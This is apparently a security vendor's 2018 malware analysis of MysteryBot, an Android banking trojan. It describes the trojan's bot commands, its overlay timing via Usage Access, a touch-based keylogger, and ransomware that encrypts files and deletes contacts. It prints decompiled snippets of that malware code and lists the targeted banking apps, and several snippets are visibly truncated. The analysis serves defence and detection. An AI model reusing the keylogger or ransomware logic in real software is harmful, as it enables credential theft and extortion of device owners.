Skip to content

MysteryBot; a new Android banking Trojan ready for Android 7 and 8

01 June 2018


While processing our daily set of suspicious samples, our detection rule for the Android banking trojan LokiBot matched a sample that seemed quite different than LokiBot itself, urging us to take a closer look at it. Looking at the bot commands, we first thought that LokiBot had been improved. However, we quickly realized that there is more going on: the name of the bot and the name of the panel changed to “MysteryBot”, even the network communication changed.

During investigation of its network activity we found out that MysteryBot and LokiBot Android banker are both running on the same C&C server. This quickly brought us to an early conclusion that this newly discovered Malware is either an update to Lokibot, either another banking trojan developed by the same actor.

To consolidate evidence, we searched some other sources and found more matches between samples of both malware using the same C&C, as visible in following screenshot from Koodous:


MysteryBot linked to LokiBot on Koodous


This bot has most generic Android banking Trojan functionalities, but seems to be willing to surpass the average. The overlay, key logging and ransomware functionalities are novel and are explained in detail in the section here-after. All of the bot commands and respectful features are listed in the table below.

CallToNumber Calls a given phone number from the infected device
Contacts Gets contact list information (phone number and name of contacts)
De_Crypt No code present, in development (probably decrypts the data / reverses the ransomware process)
ForwardCall Forwards incoming calls of the device to another number
GetAlls Shortened for GetAllSms, copies all the SMS messages from the device
GetMail No code present, in development (probably stealing emails from the infected device)
Keylogg Copies and saves keystrokes performed on the infected device
ResetCallForwarding Stops the forwarding of incoming calls
Screenlock Encrypts all files in the external storage directory and deletes all contact information on the device
Send_spam Sends a given SMS message to each contact in the contact list of the device
Smsmnd Replaces the default SMS manager on the device, meant for SMS interception
StartApp No code present, in development (probably allows to remotely start application on the infected device)
USSD Calls a USSD number from the infected device
dell_sms Deletes all SMS messages on the device
send_sms Sends a given SMS message to a specific number

The following screenshot shows the dropdown list that enables the operator to launch specific commands on the bot:


Screenshot of the command launcher

Overlays module made ready for Android 7/8

With the introduction of the version 7 and 8 of Android, the previously used overlay techniques were rendered inaccessible, forcing the financially motivated threat actors to find a new way to use overlays in their banking malware. During the past three months, some of the largest Android banking malware families, such as but not limited to: ExoBot 2.5, Anubis II, DiseaseBot, have been exploring new techniques to time the overlay attack correctly on Android 7 and 8.

The success of the overlay attacks relies on timing, luring the victim on a fake page asking of credentials or credit card information at the moment the related app is opened by the victim. Mistiming the overlay would make the overlay screen appear at an unexpected moment, resulting in the victim realizing presence of the malware. This has been made difficult with the restrictions employed by Security-Enhanced Linux (SELinux) and other security controls (sandbox restrictions) in Android 7 and 8. Hence, actors have been working hard on finding new ways to time overlays correctly, which resulted in many technical debates in the Android banking trojan criminal ecosystem.

A new technique has been conceived and is currently being used, it abuses the Android PACKAGE_USAGE_STATS permission (commonly named Usage Access permission). The code of MysteryBot, has been consolidated with the so-called PACKAGE_USAGE_STATS technique. Because abusing this Android permissions requires the victim to provide the permissions for usage, MysteryBot employs the popular AccessibilityService, allowing the Trojan to enable and abuse any required permission without the consent of the victim.

Experience has shown us that users often grant application Device Administrator and AccessibilityService permissions, empowering the malware to perform further actions on the infected device. It seems that the reason for the victims to grant such permissions and the number of benign apps nowadays asking for exhaustive sets of permissions, making it common for users to grant permissions without reviewing the permissions requested. At the moment MysteryBot is not using such MO to get the Usage Access permission, but will ask the victim or it directly.

The screenshot below shows the malware (hidden as a fake Adobe Flash Player application) once installed, listed with the applications requesting the Usage Access permission. Once the victim is triggered into providing the permission, the status of the malicious app will be change to “On”.


Screenshot of the apps requesting Usage Access permission

While performing the investigation of this new technique we recreated the logic used by the actors to detect the app in the foreground to confirm that abuse of this permission would allow overlays to work. The test resulted positively, we could indeed get the package name of the application in the foreground. The screenshot below shows that on our test device the application with the package name (NAB Mobile Banking) is in the foreground, which worked on both Android 7 and 8.


List of foreground apps obtained by the malware

This is a snippet of the code that is used by the bot to obtain the package name of the app used the latest: getLastUsedApplication()

@TargetApi(value = 21)
public void getLastUsedApplication() {
    try {
        do {
        } while (true);
    } catch (InterruptedException interruptedException) {
        try {
            Object usageStatsManager = this.getSystemService("usagestats");
            long epochTime = System.currentTimeMillis();
            List usageStatsList = ((UsageStatsManager) usageStatsManager).queryUsageStats(0, epochTime - 10000, epochTime);
            if (usageStatsList == null || usageStatsList.size() <= 0) {

            TreeMap sortedMap = new TreeMap();
            Iterator usageStatsListIterator = usageStatsList.iterator();
            while (usageStatsListIterator.hasNext()) {
                Object usageStats =;
                ((SortedMap) sortedMap).put(Long.valueOf(((UsageStats) usageStats).getLastTimeUsed()), usageStats);

            if (((SortedMap) sortedMap).isEmpty()) {

            String packageName = ((SortedMap) sortedMap).get(((SortedMap) sortedMap).lastKey()).getPackageName();
            PrintStream printStream = System.out;
            StringBuilder output = new StringBuilder().insert(0, "Total:================ "));
        } catch (Exception ex) {

Key logging based on touch data (new) ————————————-

Upon analyzing the keylogger functionality, it struck us as odd that none of the known keylogging techniques were used. The two other well-known Android banking Trojans embedding a keylogging module (CryEye and Anubis) do abuse the Android Accessibility Service to log the keystrokes or make screenshots upon keypresses; however, this technique requires the victim to grant Accessibility Service permission after installing the malware (hence requiring more user interaction to be successful).

MysteryBot seems to use a new and innovative technique to log keystrokes. It considers that each key of the keyboard has a set location on the screen, on any given phone and regardless if the phone is in held horizontally or vertically, it also takes into consideration that each key has the same size and therefore is the same number of pixels away from the previous key. To summarize, it looks like this technique calculates the location for each row and places a View over each key. This view has a width and height of 0 pixels and due to the “FLAG_SECURE” setting used, the views are not visible in screenshots. Each view is then paired to a specific key in such a way that it can register the keys that have been pressed which are then saved for further use.

At the time of writing, the code for this the keylogger seems to still be under development as there is no method yet to send the logs to the C2 server.

This code snippet shows the function used to record the keystrokes. Note that the y-coordinate for each layer is set, whilst the x coordinate of each layer is multiplied by value of the current iteration (because the layout of whole row of keys only differs on the x-axis). recordKeystrokes

for (i = 0; true; ++i) {
    int10 = 10;
    int0x800053 = 0x800053;
    if (i >= this.keyboardLayer0.length) {

    this.keyboardLayer0\[i\] = View.inflate(((Context) this), resource, viewGroup);
    windowManager = new WindowManager$LayoutParams(this.x / 10, 50, 2003, 0x40018, -3);
    this.keyboardLayer0\[i\].setOnTouchListener(new HandleKeystrokeLayer0(this));
    windowManager.gravity = int0x800053;
    windowManager.x = this.x / int10 * i;
    windowManager.y = 0xFA;
    this.systemServiceWindow.addView(this.keyboardLayer0\[i\], ((ViewGroup$LayoutParams) windowManager));

for (i = 0; i < this.keyboardLayer1.length; ++i) {
    this.keyboardLayer1\[i\] = View.inflate(((Context) this), resource, viewGroup);
    windowManager = new WindowManager$LayoutParams(this.x / 9, 50, 2003, 0x40018, -3);
    this.keyboardLayer1\[i\].setOnTouchListener(new HandleKeystrokeLayer1(this));
    windowManager.gravity = int0x800053;
    windowManager.x = this.x / 9 * i;
    windowManager.y = 170;
    this.systemServiceWindow.addView(this.keyboardLayer1\[i\], ((ViewGroup$LayoutParams) windowManager));

for (i = 0; i < this.keyboardLayer2.length; ++i) {
    this.keyboardLayer2\[i\] = View.inflate(((Context) this), resource, viewGroup);
    windowManager = new WindowManager$LayoutParams(this.x / 9, 50, 2003, 0x40018, -3);
    this.keyboardLayer2\[i\].setOnTouchListener(new HandleKeystrokeLayer2(this));
    windowManager.gravity = int0x800053;
    windowManager.x = this.x / 9 * i;
    windowManager.y = 90;
    this.systemServiceWindow.addView(this.keyboardLayer2\[i\], ((ViewGroup$LayoutParams) windowManager));

while (j < this.keyboardLayer3.length) {
    this.keyboardLayer3\[j\] = View.inflate(((Context) this), resource, viewGroup);
    i = 2;
    int v4_1 = j == i ? this.x / 9 * 5 : this.x / 9;
    int v8 = v4_1;
    windowManager = new WindowManager$LayoutParams(v8, 50, 2003, 0x40018, -3);
    this.keyboardLayer3\[j\].setOnTouchListener(new HandleKeystrokeLayer3(this));
    windowManager.gravity = int0x800053;
    i = j > i ? this.x / 9 * (j + 4) : this.x / 9 * j;
    windowManager.x = i;
    windowManager.y = int10;
    this.systemServiceWindow.addView(this.keyboardLayer3\[j\], ((ViewGroup$LayoutParams) windowManager));


This code snippet shows the function used to save the keystrokes, residing in the “HandleKeystrokeLayerN” class. Note that if the value equals “4” it results in “ACTION_OUTSIDE”, which is only activated when the user touches a location on the screen outside of the UI element (the view). Since the view is 0 by 0 pixels this should always be true, but if this somehow differs the keystroke is not recorded.

public boolean onTouch(View view, MotionEvent motionEvent) {
    if(motionEvent.getAction() == 4) {
        Keylogger.setKeyStroke(this.keylogger, Keylogger.getMotionEventFlagTotal(this.keylogger) + motionEvent.getFlags());
    return 0;


This code snippet shows if usage of the shift or alt key(s) is made, stored as Booleans as can be seen in the method below. Since it uses an XOR value of itself, the value true is set to false and vice versa.

if(character.equals("alt") {
    Keylogger.setAltEnabled(this.keylogger, Keylogger.getIsAltEnabled(this.keylogger) ^ 1);

if(character.equals("shift") {
    Keylogger.getShiftEnabled(this.keylogger, Keylogger.setShift(this.keylogger) ^ 1);

This code snippet shows how the logged keystrokes are saved (using a simple check).

if (!character.equals("outside") && !character.equals("symbols") && !character.equals("alt") && !character.equals("misc") && !character.equals("shift") && !character.equals("back") && !character.equals("enter")  {
    keylogger = this.keylogger;
    currentStroke = new StringBuilder().insert(0, Keylogger.getCurrentStroke(this.keylogger));
    Keylogger.setCurrentStroke(keylogger, currentStroke.toString());



The locker/ransomware clients are managed from a separate dashboard dubbed “Myster_L0cker”, as visible in the screenshot below:


Screenshot of the interface used to manage the ransomware victims

MysteryBot also embeds a ransomware feature allowing itself to encrypt individually all files in the external storage directory, including every sub directory, after which the original files are deleted. The encryption process puts each file in an individual ZIP archive that is password protected, the password is the same for all ZIP archives and is generated during runtime. When the encryption process is completed, the user is greeted with a dialog accusing the victim to have watched pornographic material. To retrieve the password and be able to decrypt the files the user is instructed to e-mail the actor on his e-mail address:


During the analysis of the ransomware functionality, two points of failure came out:

  • Firstly, the password used during the encryption is only 8 characters long and consists of all characters of the Latin alphabet (upper and lower case) combined with numbers. The total amount of characters to pick from is 62, leaving the total possible combinations a total of 62 to the power of 8, which could be brute-forced with the relevant processing power.
  • Secondly, the ID assigned to each victim can be a number between 0 and 9999. Since there is no verification of existing ID, it is possible that another victim with the same ID exists in the C2 database, overwriting the id in the C2 database. Resulting in the impossibility for a older victims with duplicated ID to recover their files.

This code snippet shows the process used to generate the password used during the encryption: generatePassword()

public static String generatePassword() {
    Random random = new Random();
    StringBuilder passwordLength8 = new StringBuilder();
    String seed = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    for (int i = 0; i < 8; i++) {
        int characterLocation = random.nextInt(seed.length());
        char currentChar = seed.charAt(characterLocation);
    return passwordLength8.toString();


This code snippet shows the code that recursively scans directories: scanDirectory()

public void scanDirectory(File file) {
    try {
        File\[\] fileArray = file.listFiles();
        if (fileArray == null) {
        int amountOfFiles = fileArray.length;
        for (int i = 0; i < amountOfFiles; i++) {
            File currentFile = fileArray\[i\];
            if (currentFile.isDirectory()) {
            } else {
    } catch (Exception ex) {


This code snippet shows the code used to encrypt a given directory: deleteFileEncryptInZip()

public String   deleteFileEncryptInZip(File file) {
    try {
        StringBuilder canonicalPath = new StringBuilder().insert(0, file.getCanonicalPath());
        ZipFile zipFile = new ZipFile(canonicalPath.toString());
        ArrayList paths = new ArrayList();
        paths.add(new File(String.valueOf(file)));
        ZipParameters zipParameters = new ZipParameters();
        zipFile.addFiles(paths, zipParameters);
        StringBuilder dblocksPath = new StringBuilder();
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter(new File(dblocksPath.toString()), true));
    } catch (Exception ex) {
    return "";

This code snippet shows the deletion of all the contacts: deleteContacts()

private void deleteContacts() {
    ContentResolver contentResolver = this.getContentResolver();
    Cursor contacts = contentResolver.query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
    while(contacts.moveToNext()) {
        try {
            contentResolver.delete(Uri.withAppendedPath(ContactsContract$Contacts.CONTENT\_LOOKUP\_URI, contacts.getString(contacts.getColumnIndex(LL.LLdecrypt("\\u0007M\\u0004I\\u001ER")))), null, null);  // lookup
        catch(Exception ex) {
    new ScanAndEncryptAsync(this).execute(new Integer\[\]{Integer.valueOf(1)});


Overlay targets

The get_inj_list action retrieves the targeted apps with overlays from the C&C server, note that at the time of writing the actor was extending and further developing this overlay action class.

The list of actual targeted apps is visible hereunder (still under development at the time of writing):

Package name Related Bank
at.easybank.mbanking Easybank
at.volksbank.volksbankmobile VolksbankBanking Bankwest INGAustraliaBanking NABMobileBanking SuncorpBank
com.IngDirectAndroid INGDirectFrance
com.advantage.RaiffeisenBank RaiffeisenSmartMobile AkbankDirekt ANZAustralia AOL-News,Mail&Video AxisMobile-FundTransfer,UPI,Recharge&Payment BankAustriaMobileBanking
com.bankinter.launcher BankinterMóvil BBVA Spain BBVANetcash PT BendigoBank BoursoramaBanque Banque ChaseMobile CIBCMobileBanking®
com.cic_prod.bad CIC CitibankAustralia
com.clairmail.fth FifthThirdMobileBanking
com.cm_prod.bad CréditMutuel CommBank iMobilebyICICIBank Gumtree:Search,Buy&Sell
com.facebook.katana Facebook
com.facebook.orca Messenger–TextandVideoChatforFree QNBFinansbankCepŞubesi LaBanquePostale
com.garanti.cepsubesi GarantiMobileBanking
com.getingroup.mobilebanking GetinMobile LloydsBankMobileBanking Halifax:thebankingappthatgivesyouextra
com.htsu.hsbcpersonalbanking HSBCMobileBanking BankofAmericaMobileBanking
com.isis_papyrus.raiffeisen_pay_eyewdg RaiffeisenELBA CapitalOne®Mobile
com.konylabs.cbplpat CitiHandlowy Kutxabank MACIF-Essentielpourmoi MicrosoftOutlook
com.moneybookers.skrillpayments Skrill
com.moneybookers.skrillpayments.neteller NETELLER
com.ocito.cdn.activity.creditdunord CréditduNordpourMobile PayPal
com.pozitron.iscep İşCep
com.rsi Ruralvía SBIAnywherePersonal Skype-freeIM&videocalls HDFCBankMobileBanking Sparkasse+FinanzenimGriff SparkasseIhremobileFiliale
com.suntrust.mobilebanking SunTrustMobileApp TDCanada
com.tecnocom.cajalaboral BancaMóvilLaboralKutxa
com.tmobtech.halkbank HalkbankMobil BancolombiaAppPersonas UnionBankMobileBanking USAAMobile
com.usbank.mobilebanking U.S.Bank VakıfBankMobilBankacılık
com.viber.voip ViberMessenger
com.whatsapp WhatsAppMessenger YahooMail–StayOrganized YapıKrediMobile
com.ziraat.ziraatmobil ZiraatMobil comdirectmobileApp
de.commerzbanking.mobil CommerzbankBankingApp
de.consorsbank Consorsbank
de.dkb.portalapp DKB-Banking VR-Banking
de.postbank.finanzassistent PostbankFinanzassistent SpardaApp
es.bancopopular.nbmpopular Popular
es.bancosantander.apps Santander Bankia
es.evobanco.bancamovil EVOBancomóvil CaixaBank
eu.eleader.mobilebanking.pekao BankPekao
eu.eleader.mobilebanking.pekao.firm PekaoBiznes24
eu.eleader.mobilebanking.raiffeisen MobileBank
eu.unicreditgroup.hvbapptan HVBMobileB@nking
fr.banquepopulaire.cyberplus BanquePopulaire
fr.creditagricole.androidapp MaBanque MesComptes-LCLpourmobile MobileBanking BarodamPassbook AppliSociétéGénérale SantanderMobileBanking MesComptesBNPParibas BankSAMobileBanking BankofMelbourneMobileBanking St.GeorgeMobileBanking WestpacMobileBanking
pl.bzwbk.bzwbk24 BZWBK24mobile
pl.eurobank eurobankmobile TokeniPKO
pl.mbank mBankPL
pl.pkobp.iko IKO BancaTransilvania IDBIBankGOMobile BankMillennium


Although certain Android banking malware families such as but not limited to ExoBot 2.5, Anubis II, DiseaseBot have been exploring new techniques to perform overlay attacks on Android 7 and 8, it seems that the actor(s) behind MysteryBot have successfully implemented a workaround solution and have spent some time on innovation. The implementation of the overlay attack abuses the Usage Access permission in order to run on all version of the Android operating system including the latest Android 7 and 8.

MysteryBot actor(s) did innovate keylogging with this new implementation. Effectively lowering detection rates and limiting the user interaction required to enable the logger. Indeed, the key logging mechanism is based on touch points on the screen instead of using the commonly abused Android Accessibility Service, meaning that it has potential to log more than the usually keystrokes. The ransomware also includes a new highly annoying capability that deletes the contacts in the contact list of the infected device, something not observed in banking malware till now. Next to that, although still in development another function caught our attention, based on the naming convention in use, it seems that the function named GetMail is meant to collect email messages from the infected device. The enhanced overlay attacks also running on the latest Android versions combined with advanced keylogging and the potential under-development features will allow MysteryBot to harvest a broad set of Personal Identifiable Information in order to perform fraud.

In the last 6 months we observed that capabilities such as a proxy, keylogging, remote access (RAT), sound recording and file uploading have become more and more common; we suspect this trend to only grow in the future. The issue with such functionalities is that besides bypassing security and detection measures, those features make threats less targeting but more opportunistic. For example, keylogging, remote access, file upload and sound recording allow for advanced information harvesting without specific triggers (information can be stolen and recorded even if the victim doesn’t perform online banking). If our expectation of increase in such behavior turns out to be true, it means that it will become difficult for financial institutions to asses whether or not they are target by the specific threats and that all infected devices can be source of fraud and espionage.


Please note that MysteryBot is still under development at the time of writing and not widely spread.

Adobe Flash Player (install.apps) 334f1efd0b347d54a418d1724d51f8451b7d0bebbd05f648383d05c00726a7ae

Demo or trial?